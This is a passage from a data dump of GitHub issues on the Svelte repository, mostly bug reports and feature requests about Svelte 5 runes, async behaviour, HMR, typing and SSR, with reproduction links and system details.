running Svelte compiler version 5.37.0
```

### Severity

annoyance",,2025-07-27T15:54:36Z,2025-07-28T19:04:08Z,0
sveltejs/svelte,3266921761,`animate` triggered not by the actual order change in a scrollable div,"### Describe the bug

When the items of a keyed each block are rendered in a scrollable div, and the div is scrolled down to the bottom. there's a fair chance that `animate` gets triggered for the items that changed their visual positions, rather than the items that changed its order.

While I can see where this is coming from ,the [Svelte documentation](https://svelte.dev/docs/svelte/animate) clearly states that animate is triggered by changes in item order. I’d appreciate some clarification on this behavior. Thanks a lot!

<img width=""1275"" height=""875"" alt=""Image"" src=""https://github.com/user-attachments/assets/de8b86e8-1b4e-4494-b5a0-6d38a7d01dbb"" />

<img width=""457"" height=""589"" alt=""Image"" src=""https://github.com/user-attachments/assets/c2456a08-c116-4105-ad09-74c7a3b92b4e"" />

### Reproduction

https://svelte.dev/playground/c88a25e3f1db420eb7e3d863c5daaf65?version=5.37.0

Actions: Scroll to the bottom of the list and click on the #6 block

### Logs

```shell

```

### System Info

```shell
playground
```

### Severity

annoyance",,2025-07-27T09:16:14Z,2025-12-22T01:55:17Z,1
sveltejs/svelte,3264361420,Svelte-check or TS error when using let with named slots,"### Describe the bug

Svelte-check, or maybe TS, seem to be broken when using `let:` variables with named slots. If I do this, then the code explodes at runtime but there are no svelte-check errors:

```svelte
<Wrapper let:foo>
  <div class:foo slot=""title"">title2</div>
  <div class:foo>{foo}</div>
</Wrapper>
```

(^error: `foo is not defined in <unknown> in __wrapper.svelte`)

while if I do this, the code works at runtime, but svelte-check fails
```svelte
<Wrapper let:foo>
  <div class:foo slot=""title"" let:foo>title2</div>
  <div class:foo>{foo}</div>
</Wrapper>
```

Please let me know if I'm doing something wrong 😅 currently my poor app is broken and I don't know how to fix it!

### Reproduction

See https://github.com/tyler-boyd/svelte-ts-bug-repro. I just ran `npm create vite@latest` and created `App.svelte` and `Wrapper.svelte` to show this minimal reproduction. If you run `npm run check`, you'll see it fails, plus errors are shown in VS code.

```
> svelte-check-bug-repro@0.0.0 check
> svelte-check --tsconfig ./tsconfig.app.json && tsc -p tsconfig.node.json

Loading svelte-check in workspace: /Users/Tyler.Boyd/work/svelte-check-bug-repro
Getting Svelte diagnostics...

/Users/Tyler.Boyd/work/svelte-check-bug-repro/src/App.svelte:6:35
Error: Property 'foo' does not exist on type '{}'. (js)
<Wrapper let:foo>
  <div class:foo slot=""title"" let:foo>title2</div>
  <div class:foo>{foo}</div>

====================================
svelte-check found 1 error and 0 warnings in 1 fi... [TRUNCATED]",,2025-07-25T20:54:45Z,2025-07-25T21:07:25Z,1
sveltejs/svelte,3263427471,Writing getter for public class stateful variables transforms into duplicate getters,"### Describe the bug

`$state()` can be used to define reactive class instance variables. This is generally very useful, though when writing a getter for public variables, there's a call stack error.

I later discovered this is called out in the docs:

> The compiler transforms `done` and `text` into `get` / `set` methods on the class prototype referencing private fields. This means the properties are not enumerable.
> — https://svelte.dev/docs/svelte/$state#Classes

I see from the JS output that a compiled `$.get(this.#myvar)` is necessary when returning the variable. Could the compiler detect when manually written getters are made, and perform this code transformation on our behalf?

Or instead, provide a warning when a `get myvar() { return this.myvar }` is written by the author, and provide education on the private variable getter/setter transformation.

### Reproduction

1. Go to https://svelte.dev/playground/5eb453986f3f4615a312342b59bd297c?version=5.36.16
2. Open `store.svelte.js`
3. Observe transformed store has 2 getters

### System Info

```shell
Svelte 5.36.16
```

### Severity

annoyance",,2025-07-25T14:29:50Z,2025-07-25T22:57:33Z,2
sveltejs/svelte,3262664969,Add types for `part` attribute on `<svg>` element,"### Describe the problem

Svelte is throwing type error when you use `part` attribute on a `<svg>` element.

```svelte
<svg part=""myIcon"">...</svg>
```
```text
Svelte: Object literal may only specify known properties, and 'part' does not exist in type HTMLProps<'svg', SVGAttributes<any>>
```

This is very annoying when you, for example want to add the `part` attribute to an svg icon inside a shadow dom, so that you can style it from the outside of shadow dom using the `::part()` selector. It works just fine, but svelte-check will throw error and your editor will give you red squiggles.

According to the css spec, the `part` attribute can be used on any element inside the shadow tree, so that should also include svg.
https://drafts.csswg.org/css-shadow-parts/#part-attr
I'm not sure if the `part` attribute was not included in `SVGAttributes` intentionally or if it was just forgotten.
https://github.com/sveltejs/svelte/blob/main/packages/svelte/elements.d.ts

There is no non-hacky way to supress type errors on html attributes as far as I know - see https://github.com/sveltejs/language-tools/issues/1026.

### Describe the proposed solution

Add types for the `part` attribute to `SVGAttributes` of the `<svg>` element. I haven't noticed if it's missing from any other elements.

### Importance

would make my life easier",,2025-07-25T09:54:37Z,2025-07-25T12:43:42Z,0
sveltejs/svelte,3262337747,"$effect does not run after async derived completes, but after the next wakeup","### Describe the bug

the following code does not work:
```js
const foo = $derived(await a());

$effect(() => {
  console.log(""hello"", foo)
})
```

however if you mutate an unrelated $state variable the effect is suddenly run, indicating that this is an unintentional bug.

see reproduction for a full example, press the ""wake"" button to observe this behaviour.


### Reproduction

https://svelte.dev/playground/267ec9aa67c248d8b2d65aaffd1f02f8?version=5.36.16

### Severity

annoyance",,2025-07-25T07:52:47Z,2025-10-13T19:34:34Z,1
sveltejs/svelte,3260603488,Singular $prop rune for simple properties,"### Describe the problem

Svelte 5 runes are overall a much needed upgrade, but I think one area where they are a step back is the experience declaring props, especially when using TypeScript.

For example, this (Svelte 4 style):
```ts
export let initialValue: number | undefined;
export let onUpdate = (a: number) => {};
export let color = ""test"";
export let extra = false;
```
Is a much nicer developer experience than this, which is what we have now with runes:
```ts
interface Props {
  initialValue: number | undefined,
  onUpdate: (a: number) => void,
  color: string,
  extra: boolean
}

let {
  initialValue,
  onUpdate = (a) => {},
  color = ""test"",
  extra = false
}: Props = $props();
```
The repetition of property names and having to define a separate type make Svelte 5 a much more grating experience for those who depend on TypeScript. 

This alone is really putting me off migrating to Svelte 5, which sucks because the new runes are such a massive improvement over stores. 

### Describe the proposed solution

I don't think bringing back `export let` is a good idea as it's not very explicit and doesn't fit in now that we have runes.

I propose adding a singular version of the `$props()` rune, which can be used on the right hand side of a `let` assignment at the top level of a component's script. It would use the variable name on the left hand side as the property name, and can be given a default value.

The above code now turns into this:
```ts
let initialValue: number | un... [TRUNCATED]",,2025-07-24T17:08:03Z,2025-07-24T17:14:02Z,2
sveltejs/svelte,3259710688,Variable declarations in markup (replacing `{@const ...}`,"### Describe the problem

Right now we have [`{@const ...}`](https://svelte.dev/docs/svelte/@const), which is a) weird, b) inconsistent with `$derived(...)`, and c) limiting.

### Describe the proposed solution

Instead of this...

```svelte
{#each boxes as box}
  {@const area = box.width * box.height}
  {box.width} * {box.height} = {area}
{/each}
```

...we could do this:

```svelte
{#each boxes as box}
  {let area = $derived(box.width * box.height)}
  {box.width} * {box.height} = {area}
{/each}
```

Or if you want it to be read-only, use `const` instead. You get the idea.

This would also solve a limitation that people periodically encounter — the fact that you can't create local state. This is particularly irksome if a snippet needs to do something stateful, since you now need to convert it to a component (including carefully moving over any CSS that it uses):

```svelte
{#snippet counter()}
  {let count = $state(0)}
  
  <button onclick={() => count += 1}>
    clicks: {count}
  </button>
{snippet}

{@render counter()}
{@render counter()}
{@render counter()}
```

Naturally, `$state.raw` and `$derived.by` would also be supported, as would normal non-state declarations. We could also allow declarations with multiple declarators:

```svelte
{let a = 1, b = 2, c = 3}
```

Migrating existing uses of `{@const ...}` in runes-mode components would be trivial...

```diff
-{@const x = y}
+{const x = $derived(y)}
```

...and we could deprecate it at the same time.

This is more power... [TRUNCATED]",,2025-07-24T12:21:36Z,2026-05-29T12:05:15Z,29
sveltejs/svelte,3257999274,[hmr] async infinite loading,"### Describe the bug

after i saved file with an {@html await  tranform(state) } , it started calling transform lots of times due to HMR 

### Reproduction

https://stackblitz.com/edit/vitejs-vite-xskydbn2?file=src%2Flib%2FCounter.svelte

### Logs

```shell

```

### System Info

```shell
5.36.15
```

### Severity

annoyance",,2025-07-23T23:45:02Z,2026-03-18T11:23:01Z,4
sveltejs/svelte,3253729921,spread defaultvalue is incorrectly ssr'd,"### Describe the bug

take a component that includes an input with a defaultvalue (set via spreading). if you ssr the component, it fails to properly stringify this.

### Reproduction

svelte repl link (go to js output and enable server): https://svelte.dev/playground/hello-world?version=5.36.13#H4sIAAAAAAAAA22NwQrCMBBEf2XZk4LUe6gFb36BF-MhNlsIrGloNlYJ-XcTKJ48zmPeTEZvnoQKL8Q8wzovbGFH1gnZPR5wckwR1S2jfELrNVD5Zp1D6OKLWBp7mEj_-Dh7IS91Bvs4Li7IoL2WiqOANWLgBBksTSaxXA0nUqBxyxqhaN8ff2LvfEgCueu65hY4DvVD6C2oZElU7jUZx6vzFtVkOFL5Am8TIenmAAAA

the issue can be distilled down to
```js
import * as $ from 'svelte/internal/server'; console.log($.spread_attributes({ defaultValue: 'default' }, null))
```
returning ` defaultvalue=""default""` instead of ` value=""default""`

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 25.04 25.04 (Plucky Puffin)
    CPU: (12) arm64 unknown
    Memory: 8.75 GB / 14.20 GB
    Container: Yes
    Shell: 4.0.1 - /usr/bin/fish
  Binaries:
    Node: 24.4.0 - ~/.local/share/pnpm/node
    npm: 11.4.2 - ~/.local/share/pnpm/npm
    pnpm: 10.11.0 - ~/.local/share/pnpm/pnpm
```

### Severity

annoyance",,2025-07-22T18:49:48Z,2025-09-11T01:10:46Z,0
sveltejs/svelte,3253223519,`await` is not importable because it's a keyword,"### Describe the bug

<img width=""799"" height=""760"" alt=""Image"" src=""https://github.com/user-attachments/assets/f677dc55-3c4b-4593-b787-adeb0fa56017"" />


If I were to `import { await } from 'svelte/internal/client``,

I get a this error:
```
Unexpected reserved word 'await'. (1:9)

> 1 | import { await } from 'x';
```
or
```
 x `await` cannot be used as an identifier in an async context
   ,-[input.ts:1:1]
 1 | import { x as await } from 'x';
   :               ^^^^^
 2 | 
```

### Reproduction

Babel: https://babeljs.io/repl#?browsers=defaults&build=&builtIns=false&corejs=3.21&spec=false&loose=false&code_lz=JYWwDg9gTgLgBAbzgQwO7OPAvnAZlCEOAcgA9iBuIA&forceAllTransforms=false&modules=false&shippedProposals=false&evaluate=false&fileSize=false&timeTravel=false&sourceType=module&lineWrap=true&presets=&prettier=false&targets=&version=7.22.8&externalPlugins=&assumptions=%7B%7D


SWC: https://play.swc.rs/?version=1.13.1&code=H4sIAAAAAAAAA8vMLcgvKlGoVqhQSCxWSCxPzCxRqFVIK8rPVVCvULcGABWP5XIfAAAA&config=H4sIAAAAAAAAA32VPY%2FbMAyG9%2FyKQHOHIkMLdL4r0OHQoUBXQbEoR1dbMkQqlyDwfy8lOx%2BX0NlsPiIpkdSr02q9Vu%2FYqB%2FrE3%2Fyz2ASQrr8swWPgcyBLYqOA2CT%2FEDqy5kSFuRMh1BN40QUmdQCFS%2FAzdfNZvZQXYwIZ4%2FZ1vvg3fE2ZxP7IQHijY2tHDL3EAg%2F%2B88sxY8CKOVb%2BzbGDkx4QrRB7QNBC0kK3MSuMwOC3pskRCk7NcljlFIUmAmsHlIcRB6sJx8D53ykFozVTbQgIJ%2BgIb8HyY1zsVtAPp5wnootbHPb1j7fecPedNmQkBMOtSW8WyHqLnok7XKQSjjBhRpMcC7uvad3OgHlFB793qMPCz35B8AV6AxiMD1IcesKx%2FO05O2eevrgeGTpKHCeb%2BmUAVouqvbeCZUtlYFEXupmApsbKJVtpO3MeKF86C1ocI5nRQiNH... [TRUNCATED]",,2025-07-22T15:50:47Z,2025-07-22T16:23:44Z,6
sveltejs/svelte,3253117632,Improve error message for trying to export a snippet that references variables inside a non module script,"### Describe the problem

When I saw the following error messages I did not quickly understand what caused the error

```
TS error (shown when hovering error in editor):
Cannot export 'snippet_name'. Only local declarations can be exported from a module.

vite-plugin-svelte error (shown in dev console or vite-error-overlay):
`snippet_name` is not defined
https://svelte.dev/e/export_undefined
```

Problematic code
```svelte
<script module>
    export { snippet_name }
</script>

<script>
    let state = $state(true)
</script>

{#snippet snippet_name()}
    {#if state} ... {/if}
{/snippet}
```

### Describe the proposed solution

It would be nice if the error message has similar phrasing to https://svelte.dev/docs/svelte/snippet#Exporting-snippets (or better yet links to that part of the documentation)

### Importance

nice to have",documentation,2025-07-22T15:19:38Z,2025-08-06T00:47:59Z,0
sveltejs/svelte,3252980482,Default values for function props prevents reactivity when passed to child components,"### Describe the bug

If you have some component that takes a function as a prop and passes that on to child components, when the component provides a default value for that prop, changing the value of the prop will trigger reactivity with that component but will not trigger reactivity within any child components. This does not occur if the prop is a string type, for example, or if a default is not specified. This behaviour is the case regardless of whether the default value is ever used.

This manifested as fairly subtle failure in our usecase and took some time to isolate.

### Reproduction

https://svelte.dev/playground/1bdd3298b7574da5bffe6a21ef8b6086?version=5.36.13

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1
    Memory: 138.28 MB / 8.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.0.2 - ~/.local/state/fnm_multishells/91717_1753180887181/bin/node
    npm: 11.4.2 - ~/.local/state/fnm_multishells/91717_1753180887181/bin/npm
  Browsers:
    Chrome: 138.0.7204.158
    Safari: 18.5
  npmPackages:
    svelte: ^5.0.0 => 5.36.13
```

### Severity

annoyance",,2025-07-22T14:43:43Z,2025-07-26T18:27:23Z,5
sveltejs/svelte,3252369630,$host() styles not synchronously available in onMount and $effect,"### Describe the bug

Component styles are not synchronously available when using the $host() rune within onMount.

This prevents reliable access to computed styles, dimensions or CSS variables of the host element immediately after it's mounted.

This bug occurs in Svelte versions 5.36.0 through 5.36.13.
Svelte 5.35.7 it behaves as expected.

### Reproduction

1. Use svelte version 5.36.0 - 5.36.13.
2. Create a custom element
3. access $host() within onMount.

```svelte
<svelte:options customElement={{tag: ""my-counter""}}/>

<script lang=""ts"">
  import {onMount} from ""svelte"";

  let Host = $host()

  $effect(() => {
    console.log(""$effect"", Host.shadowRoot?.innerHTML); // BUG: has no <style> tag
  })

  onMount(() => {
    console.log(""onMount"",Host.shadowRoot?.innerHTML); // BUG: has no <style> tag
    setTimeout(() => {
      console.log(""delayed"",Host.shadowRoot?.innerHTML); // has the <style> tag
    })
  })
</script>

<button class=""btn"">Counter</button>

<style >
  .btn {
    width: 123px;
    height: 123px;
  }
</style>
```


<img width=""1167"" height=""76"" alt=""Image"" src=""https://github.com/user-attachments/assets/a2b86c1e-1cbf-40ab-bfc6-00a8437a5b4d"" />

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M3 Pro
    Memory: 94.95 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.3.0 - ~/.nvm/versions/node/v24.3.0/bin/node
    npm: 11.4.2 - ~/.nvm/versions/node/v24.3.0/bin/npm
    pnpm: 10.13.1 - ~/.n... [TRUNCATED]",,2025-07-22T11:54:35Z,2025-07-27T17:50:23Z,1
sveltejs/svelte,3251251085,"docs: improve action, attach documentation","### Describe the problem

As a long time Svelte user, this was my frustration:

1. Forgot about what the term `attach`
2. Remembered previously used [`Action`](https://svelte.dev/docs/svelte/svelte-action)
3. No mention of `attach` in that [documentation](https://svelte.dev/docs/svelte/svelte-action)
4. Moved to the adjacent [`svelte/attachments` docs](https://svelte.dev/docs/svelte/svelte-attachments)
5. Does not explain the term and starts with `createAttachmentKey`
6. Learns that there is a [separate docs](https://svelte.dev/docs/svelte/@attach) for it, linked at the end of the page

### Describe the proposed solution

> This PR introduces _attachments_, which are essentially a more flexible and modern version of actions. https://github.com/sveltejs/svelte/pull/15000

1. Advise `attachments` in the `svelte/action` docs
2. Reorder `svelte/attachments` docs and introduce `Attachment` in the beginning

### Importance

nice to have",documentation,2025-07-22T06:12:01Z,2025-07-31T23:16:48Z,0
sveltejs/svelte,3251247360,Trim values automatically in a form submission,"### Describe the problem

Recently, a company I work with gave us a sprint ticket to add trimming to all values submitted via a form throughout the whole project. It took us a lot of useful hours to track down and identify all the text inputs which needed to be trimmed before form submission.

A colleague of mine suggested to write a high order function that will iterate through the request body and trim out the values of type string. 

### Describe the proposed solution

This got me thinking to have a custom prop on svelte form elements that can automatically trim values on submit. A prop like `autoTrim`  can be introduced on form tags that will automatically all values before passing invoking the onSubmit or action.

### Importance

would make my life easier",,2025-07-22T06:10:21Z,2025-07-22T07:54:48Z,1
sveltejs/svelte,3248049501,Updating from 5.36.10 to 5.36.12 causes everything to become laggy.,"### Describe the bug

After updating past [svelte@5.36.10](https://github.com/sveltejs/svelte/releases/tag/svelte%405.36.10) interaction with the page, such as opening or closing a Drawer or dragging it around, which rely on updating a CSS variable and onpointermove event become laggy and the console logs setTimeout or blur violation where their handlers took too long to run and when checking the chunk location they point to a dequeue function. It's worth noting that my experimental flag for the new async stuff is false, and I'm not using it.

### Reproduction

Unfortunately, I'm unable to reproduce it in a meaningful way since it is an overall thing, and most interactions seem laggy. There is no release note for the 5.36.11 version, so I'm not sure what happens exactly between [svelte@5.36.10](https://github.com/sveltejs/svelte/releases/tag/svelte%405.36.10) and [svelte@5.36.12](https://github.com/sveltejs/svelte/releases/tag/svelte%405.36.12.) But maybe you guys can guess what might be causing the issue.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i7-12650H
    Memory: 5.79 GB / 15.63 GB
  Binaries:
    Node: 23.11.0 - C:\nvm4w\nodejs\node.EXE
    npm: 11.4.1 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Edge: Chromium (136.0.3240.64)
    Internet Explorer: 11.0.26100.1882
```

### Severity

blocking an upgrade",perf,2025-07-21T10:24:52Z,2025-07-21T13:23:36Z,9
sveltejs/svelte,3247040158,await doesn't work with @const,"### Describe the bug

await doesn't work when used in conjunction with `@const`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.36.12#H4sIAAAAAAAAA22OsY7CMBBEf8Xaa4KEoKKxAN11lPRA4eABWXLWlr0hoCj_jkNSneh2nmZmpyc2DUjTAd4H1YXkrapgncAuaEk355FJn3qSVxx9Iyh8Tv3FuMoPeBlZbTK-8WtgAUupoe0EdR1atia99mc-S_-T2cUIURFsHd-rxfDh65lP6rf0ZFHcNjWS2inTGSfqmELjMlYJOfgHqs2cnWzl3q7__yyTBE8hLanFcCnKON85tqRvxmcMb-ZNEVkVAQAA)

### Logs

```shell
await isn't allowed in non-async function (Note that you need plugins to import files that are not JavaScript)
```

### System Info

```shell
Using Svelte compiler version 5.36.12
running Svelte compiler version 5.36.12
```

### Severity

blocking an upgrade",,2025-07-21T03:14:20Z,2025-08-22T17:28:45Z,1
sveltejs/svelte,3245520946,asyn svelte ReferenceError: $$ownership_validator is not defined,"### Describe the bug

issue with shadcn-svelte 's dialog component, if  `bind `is removed then it works -` error $$ownership_validator is not defined`

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-dc4cvgmz?file=src%2Froutes%2F%2Blayout.svelte

```svelte
<script lang=""ts"">
  import { Dialog, Label, Separator } from ""bits-ui"";
		let {open=$bindable(false)}=$props()
		const module = $derived(
	await	(async function(){return 123})()
	);
</script>
  {module}
<Dialog.Root bind:open={open}>
  <Dialog.Trigger
    class=""rounded-input bg-dark text-background
	  shadow-mini hover:bg-dark/95 focus-visible:ring-foreground focus-visible:ring-offset-background focus-visible:outline-hidden
	  inline-flex h-12 items-center justify-center whitespace-nowrap px-[21px] text-[15px] font-semibold transition-colors focus-visible:ring-2 focus-visible:ring-offset-2 active:scale-[0.98]""
  >
    New API key
  </Dialog.Trigger>
  <Dialog.Portal>
    <Dialog.Overlay
      class=""data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/80""
    />
  </Dialog.Portal>
</Dialog.Root>
```

### Logs

```shell

```

### System Info

```shell
svelte@5.36.8
```

### Severity

blocking an upgrade",,2025-07-19T18:14:09Z,2025-07-19T21:21:26Z,0
sveltejs/svelte,3244806627,Destructuring doesn't work when using await in $derived(),"### Describe the bug

I don't know if this is a deliberate syntax design or not, but apparently, I cannot de-structure the output of my async function using $derived().

This result in an _Unexpected reserved word_ error : 
`const {foo,bar} = $derived(await someAsyncFunction())`

### Reproduction

[REPL](https://svelte.dev/playground/505bc5c6ff9649daa89472e1fabc61e5?version=5.36.8)

### Logs

```shell
app.js:54 
 SyntaxError: Unexpected reserved word
handleError	@	app.js:54
```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (12) x64 13th Gen Intel(R) Core(TM) i5-13420H
    Memory: 10.12 GB / 23.71 GB
  Binaries:
    Node: 20.15.1 - C:\Program Files\nodejs\node.EXE
    npm: 10.7.0 - C:\Program Files\nodejs\npm.CMD
    bun: 1.2.6 - ~\.bun\bin\bun.EXE
  Browsers:
    Edge: Chromium (131.0.2903.86)
    Internet Explorer: 11.0.26100.1882
  npmPackages:
    svelte: ^5.36.7 => 5.36.7
```

### Severity

annoyance",,2025-07-19T02:58:17Z,2025-07-19T21:26:32Z,1
sveltejs/svelte,3244509267,Stores cannot be used in async components,"### Describe the bug

If any stores are used in an async component, the `$$cleanup` function gets injected in a different function than it's called.

```svelte
<script>
  import {writable} from 'svelte/store';
  const store = writable('world');
  await 'anything';
</script>

<h1>Hello {$store}!</h1>
```

`$setup_stores` gets called inside the async $body function, but `$$cleanup` goes in the actual component body.

### Reproduction

[reproduction](https://svelte.dev/playground/hello-world?version=5.36.8#H4sIAAAAAAAAA22Py2rDMBAAf2W7FJSAqclVdQ299R_qHhR7XS_IKyFt4wTjfy9yCL30OszsY0VxM6HFD_I-wBKSH-BAAysNR6xwZE8Z7eeKeovFKwCrR_Ue40u-kNfCzi7Tf7wPoiSa0WKT-8RR20465TmGpLAuidWdPW0wpjCDuXd11pDIvBazD5IVdgBv8PAPZr_WHHfHLY4VjJObTizfJWzqv23STKf2_uP6vE_anpp6OrWdYIVKV0Wr6Ye2rwrVsV9YBrSj85m2XzenKqwkAQAA)

### Logs

```shell
$$cleanup is not defined in <unknown> in __wrapper.svelte
```

### System Info

```shell
svelte 5.36.8 in playground
```

### Severity

blocking an upgrade",,2025-07-18T22:30:45Z,2025-07-19T21:24:48Z,0
sveltejs/svelte,3244496011,async call lead to error after saving file,"### Describe the bug

Having 2 chained async calls inside the top level of a page it works when navigating on the page.
Then after saving the page it will beak with this error: 
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')

### Reproduction

https://github.com/simonhackler/svelte-async-repro

run `npm run dev`
navigate to localhost:5173 and everything should work. Then delete or add a line inside src/routes/+page.svelte and save and it will lead to this error:
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Arch Linux
    CPU: (6) x64 Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz
    Memory: 15.87 GB / 31.26 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 22.17.1 - ~/.nvm/versions/node/v22.17.1/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.1/bin/npm
  Browsers:
    Brave Browser: 134.1.76.74
  npmPackages:
    svelte: ^5.0.0 => 5.36.8
```

### Severity

annoyance",,2025-07-18T22:23:51Z,2025-10-21T09:57:13Z,3
sveltejs/svelte,3243728811,`let $derived` object not updating with `$bindable`,"### Describe the bug

Not sure if this is the interaction that's _supposed_ to happen and I'm meant to use the `$state` in this scenario instead, but I found that when trying to mutate an object defined with `let $derived` gets passed down to a bound component it doesn't trigger a reactive update to the UI. 

As soon as I change it to a `$state` rune the UI updates so it's simply an annoyance right now keeping us from removing the usage of some `$effect` runes.

### Reproduction

Svelte Playground: https://svelte.dev/playground/114b3ffd135248c481adce41c3366e26?version=5.36.7

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (11) arm64 Apple M3 Pro
    Memory: 251.31 MB / 18.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.14.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.12.4 - ~/Library/pnpm/pnpm
    bun: 1.2.18 - ~/.bun/bin/bun
  Browsers:
    Brave Browser: 138.1.80.120
    Safari: 18.5
  npmPackages:
    svelte: ^5.36.6 => 5.36.6
```

### Severity

annoyance",,2025-07-18T16:21:11Z,2025-07-18T16:31:50Z,1
sveltejs/svelte,3243433288,Feature Request: Official Recommended Global Request Cache Pattern in Svelte,"### Describe the problem

While building apps with Svelte 5, I’ve often run into the need to share and reuse the state of async requests (data, loading, error) across multiple components — similar to how React Query or SWR work in React.

As far as I know, there isn’t an official or idiomatic pattern in Svelte for implementing a global request cache. This often leads developers (myself included) to reinvent the wheel, usually borrowing patterns from React that don’t feel quite natural in Svelte.

I’m aware of TanStack Query for Svelte, but it seems to have several issues with Svelte 5 and doesn’t appear to be prioritized at the moment.

Below is my current approach. I suspect I’ve leaned too heavily on React-style patterns and that it is not idiomatic Svelte 5. I’m still very new to Svelte 5, so it’s possible I’m overcomplicating things — and I’d appreciate any guidance...

### 📐 Current Approach (Most likely wrong / an anti-pattern)

I maintain a global store:

```ts
type GlobalRequestCacheStore = SvelteMap<string, RequestCache<StableKey, unknown>>;
let globalRequestCacheStore: GlobalRequestCacheStore | null = null;
```

It should be initialized at the root of the app with:

```ts
const globalRequestCache = () => {
  if (globalRequestCacheStore != null) {
    throw new Error('globalRequestCacheStore already exists');
  }

  globalRequestCacheStore = new SvelteMap();
  return () => {
    globalRequestCacheStore = null;
  };
};
```

The root component calls like this:

```ts
c... [TRUNCATED]",,2025-07-18T14:32:36Z,2025-07-22T16:05:57Z,5
sveltejs/svelte,3242101209,Bug: Async + View Transitions slows down page navigation,"### Describe the bug

If you configure your external layout to enable the view transition api ([doc](https://svelte.dev/docs/kit/faq#How-do-I-use-the-view-transitions-API)) and you have the async experimental flag turned on, the navigation between pages becomes really slow even if you don't have any data loading.

### Reproduction

[stackblitz](https://stackblitz.com/edit/sveltejs-kit-template-default-ct4wznik)

Just comment out the `document.startViewTransition` call in the external layout or turn off the experimental async flag to have the navigation working as expected

### System Info

```shell
It ""works"" on firefox because it doesn't support view transitions
```

### Severity

~~blocking an upgrade~~
blocking the usage of async features",,2025-07-18T06:38:09Z,2025-09-23T21:47:51Z,5
sveltejs/svelte,3240928018,await_reactivity_loss false positive even when used within untrack function 2,"### Describe the bug

Another bug related to https://github.com/sveltejs/svelte/issues/16381

```ts
import { untrack } from 'svelte'
	
	let name = $state('a')
	let count = $state(1)

	const wait = () => new Promise((resolve) => {
		setTimeout(resolve, 1000)
	})

		const promise = Promise.resolve(1)

	const getData = async () => {
		await promise
		await wait()

		// This causes false positive
		if (name === 'a') {
			
		}

		return count
	}

	let countAsync = $derived.by(() => {
		return untrack(() => getData())
	});
```

### Reproduction

https://svelte.dev/playground/hello-world?version=5.36.7#H4sIAAAAAAAAE21Sy27jMAz8Fa5QwA5g5HF14xQFeuhxD7mte1BkJhEqS4ZEJxsY-vdCDzfpYg9-gEPOkENOTPMeWc3eUSkDV2NVByV2krBbsIodpULH6j8To9sQ8kKAVXPV6zAs3QUVhdiBO_xfXBhNqMmxmm2dsHKgXatbkv1gLMEEoybLxSd4OFrTQ5EKi5ATHoUEgRYaeHLECcuCF4sZEWbUdIc2AdAtCaMdwZXLgJULaHag8Qq_remlw7K06Iy6YASmqEQOaS97NCPNaAWb9XodpXzmnZmHRATNTLnMNf90cEJ648ShAe5uWuRWsiKP_WWqx1B4ld-KqxXsz9KB4KNDB0euHMJgnCR5yWXyCGXyqGkg2DNLJAtb8jOZRRqtTrbFwRLwbeVrbLOBpw6tvGC3PNzKH01ngry0jOUxy0U26zktb7u671tvz5tdurIpTXnX87-2q_MmZR1GIqPBaKGk-GymB_F8BY-DwgsUhwLq8N9q7-Nl7c3ppDDm1TCFjw-9JOYdqxjhX2I12RH9R8WIS3WVumN1tNZ_AXS1wwAUAwAA

### Logs

```shell

```

### System Info

```shell
Svelte 5.36.7
```

### Severity

annoyance",,2025-07-17T21:11:55Z,2025-07-21T23:24:28Z,5
sveltejs/svelte,3239758104,Probably false positive effect_update_depth_exceeded error when reading derived firstly at effect,"### Describe the bug

In reproduce I am rendering 1000+ elements in each block. Each element has state that never changes and derived dependent on this state. Dervied firstly read inside $effect. Then there is more than 1000 elemtns the effect_update_depth_exceeded error is fired. But in fact there should not be any loops in effects

### Reproduction

The reproduction is presented here https://svelte.dev/playground/d9c15933109c478181c3a00854397dec?version=5.36.6

Firstly test it with 1000 elements by clicking the show button - there will be no error
Increase number of elemetns to 1001 and do the same again - the error will appear
Uncomment reading canPlay derived in Component.svelte to calculate it before effect - there will be no error


### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M4 Pro
    Memory: 65.36 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.17.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.12.3 - /opt/homebrew/bin/pnpm
  Browsers:
    Chrome: 138.0.7204.158
    Safari: 18.5
  npmPackages:
    svelte: ^5.36.6 => 5.36.6
```

### Severity

blocking all usage of svelte",,2025-07-17T14:13:40Z,2025-07-23T11:55:53Z,16
sveltejs/svelte,3239506384,`SvelteSet` reactivity breaks in reassignment,"### Describe the bug

Behaviors of 1 and 3 are inconsistent.

---

1. Works without warning:

```svelte
<script lang=""ts"">
